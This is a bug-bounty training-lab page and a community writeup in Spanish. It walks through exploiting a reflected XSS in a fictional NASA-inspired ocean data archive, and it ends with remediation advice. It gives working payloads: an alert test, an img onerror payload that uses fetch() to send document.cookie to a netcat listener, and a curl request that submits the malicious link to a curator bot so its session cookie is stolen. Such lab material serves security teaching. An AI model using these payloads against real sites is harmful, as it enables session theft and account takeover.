NASA - Reflected XSS via Share-Link
Archivo científico ficticio inspirado en `seabass.gsfc.nasa.gov` (NASA Goddard). El buscador acepta búsquedas vía `POST /api/search` (seguro, React JSX escapa el JSON) pero ofrece un botón "Share this search" que convierte la búsqueda en una URL `GET /search/?keyword1=…`. Esa URL la sirve Express directamente como HTML server-side para crawlers científicos, interpolando los valores sin escape en el bloque "Active filters". Cualquier payload XSS en `keyword1` se ejecuta al abrir el link
Learn to find this bug
A real Bugcrowd report, reproduced for you to practice.
Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Access to all labs · no commitment · cancel anytime
Hunters who solved it· 8
Objectives
Achievement you'll earn
Solve this lab to unlock this shareable achievement
NASA - Reflected XSS via Share-Link
Community writeups
AQUASCAN Bio-Optical Archive es un mini-portal científico (Express + TS + better-sqlite3 + React 18 + Vite + Puppeteer-core, puerto 1341) inspirado en archivos bio-ópticos como SeaBASS (NASA Goddard). Indexa datasets de clorofila-A, temperatura superficial del mar, salinidad, batimetría, pigmentos fitoplancton, perfiles bio-ópticos, flujos de partículas, velocidad de corrientes y absorción CDOM, procedentes de cruceros (R/V Nereus, R/V Polar Sun, R/V Campanula…) y satélites (MODIS-Aqua, VIIRS-SNPP).
La interfaz tiene una estética oceanográfica deliberada — paleta azul abisal → turquesa → aqua con plancton flotante, ondas SVG paralelas en el fondo, mini-batimetrías y heatmaps animados. Pretende parecer un portal serio de datos científicos, no un CTF obvio.
Capa 1 — Reflected XSS en GET /search/
Hay dos caminos distintos que comparten apariencia visual:
POST /api/search(workbench del SPA) → devuelve JSON conecho+results. El frontend lo renderiza con React JSX, que escapa los valores en inserción. No hay XSS aquí.GET /search/?keyword1=…&keyword2=…®ion=…&…(permalink) → el servidor responde con una página HTML completa (no es el SPA), pensada para que los crawlers indexen el resultado de la búsqueda sin ejecutar JavaScript. La página tiene un bloque "Active filters" que recompone los valores en<li><span class="permalink-chip-key">…</span><code class="permalink-chip-val">${valor}</code></li>usando template literals con interpolación cruda. El helperescapeHtml()se aplica únicamente al texto descriptivo y al resto del HTML estructural — los valores de los chips quedan sin escapar.
Por qué el bug es plausible: el desarrollador necesita SSR del permalink para que los crawlers científicos puedan ver la búsqueda sin ejecutar el SPA. Decide reusar la paleta y la tipografía vía un CSS inline, y compone los chips activos con plantillas literales. Es una decisión razonable a primera vista; el fallo es no haber pasado los valores de los chips por el escapeHtml() que sí aplica al resto del documento.
Capa 2 — Curator bot con cookie = flag
La funcionalidad "Report to curator" (POST /api/reports) permite a researchers autenticados enviar permalinks a la curadora Dr. Mira Vandenberg para revisión.
El proceso server/src/bot/curatorBot.ts (Puppeteer-core) corre dentro del mismo container:
- Cada
BOT_CYCLE_MS = 8000 msreclama (transaccional) hasta 4 reports constatus='pending'y los marcain_review. - Valida el host del
share_urlcontra una allowlist (localhost:1341,127.0.0.1:1341,host.docker.internal:1341,aquascan:1341). Si no matchea →rejected_off_origin. Esto evita que el bot actúe como SSRF gadget. - Lanza Chromium headless con
--no-sandbox --disable-dev-shm-usageetc. - Setea la cookie
curator_session = <FLAG>para domainlocalhost,127.0.0.1,host.docker.internalyaquascan, conhttpOnly:false,sameSite:'Lax',secure:false. - Navega al
share_urly permanecePAGE_DWELL_MS = 4000 mspara dar tiempo a que el JS reflejado dispare. - Loggea cada visita a
/app/data/bot.log(no expuesto vía HTTP).
El valor de la cookie del curator es literalmente la flag (FLAG{md5(preimage)}). Cuando el payload XSS reflejado en keyword1 ejecuta document.cookie, lee curator_session=FLAG{…} y exfiltra al listener.
Routing del listener desde el bot
El bot corre dentro de Docker; su 127.0.0.1 es el propio container, no el host del jugador. Para que el patrón natural funcione (nc -lp 9999 en el host, payload con fetch('http://127.0.0.1:9999/?c='+document.cookie)), el lab arranca un TCP forwarder dentro del propio contenedor (server/src/bot/exfilForwarder.ts) que:
- Escucha en
127.0.0.1:9999dentro del container. - Reenvía cada conexión a
host.docker.internal:9999(el host del jugador, mapeado víaextra_hosts: host.docker.internal:host-gatewayendocker-compose.yml).
Resultado: cuando el fetch() del payload XSS dentro del Chromium del bot conecta a 127.0.0.1:9999, los bytes se canalizan transparentemente hasta el nc del jugador en el host. El jugador ve la mental model normal y no tiene que conocer host.docker.internal.
Cadena completa (lo que el jugador debe hacer)
Login (o registro) en AQUASCAN. Credenciales demo:
attacker@aquascan.earth / password123.Abrir
/search, rellenar el formulario, hacer click en "Run search" → ver que devuelve resultados (POST seguro).En la página de resultados, click en "Share this search" → copia la URL
/search/?keyword1=…. Inspeccionar el HTML server-side de esa URL.Probar payloads en
keyword1vía la URL GET y confirmar XSS reflejada:http://localhost:1341/search/?keyword1=<script>alert(1)</script>Notar la funcionalidad "Report to curator" en la página de resultados o
/reports. Deducir que un bot/curador abre los enlaces enviados.Inspeccionar las cookies relevantes (
document.cookiedesde DevTools, o probar payloads que lean cookies sin restricción).Levantar el listener:
nc -lp 9999Construir el payload (usa
127.0.0.1:9999— el lab enruta a tu host internamente):<img src=x onerror="fetch('http://127.0.0.1:9999/?c='+encodeURIComponent(document.cookie))">Construir la URL maliciosa con el payload en
keyword1:http://localhost:1341/search/?keyword1=<URL-encoded-payload>®ion=PacificEnviarla vía la UI ("Request curator review") o directamente:
curl -X POST http://localhost:1341/api/reports \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOUR_TOKEN>' \ -d '{"share_url":"<la URL maliciosa>","note":"please review"}'Esperar 10-15 s. En el listener
ncverás algo como:GET /?c=curator_session%3DFLAG%7B38304cc092217a91e014fbcd0cfb855b%7D HTTP/1.1 Host: 127.0.0.1:9999URL-decodear el query string → la flag.
Impacto real
En el reporte original (SeaBASS) la curadora podía:
- Re-publicar / despublicar datasets oceanográficos.
- Mintar citaciones científicas.
- Aprobar ingestas upstream desde nodos regionales.
- Acceder a submissions embargoed.
Un solo click en un share-link envenenado entrega todas esas capacidades al atacante, silenciosamente, y el único rastro auditable es una línea en bot.log.
Remediation
- Escape HTML todo valor de query antes de interpolarlo en el HTML del permalink. El helper
escapeHtml()que ya envuelve el resto del documento debe envolver también los chips activos. - CSP estricta en la respuesta del permalink:
Content-Security-Policy: script-src 'self'; img-src 'self' data:; default-src 'self';neutraliza los handlers de evento inyectados. - Render con templating engine que escape por defecto (Handlebars, EJS en autoescape, JSX server-side rendering).
- Cookie
HttpOnlypara la sesión del curator.document.cookieno podría leerla. - SameSite=Strict para neutralizar navegaciones cross-context.
- Aislamiento de red del bot: namespace que no pueda alcanzar nada externo — ni siquiera
host.docker.internal. - No convertir POST→GET para recetas sensibles. El permalink puede ser un token firmado opaco en vez de exponer los campos crudos.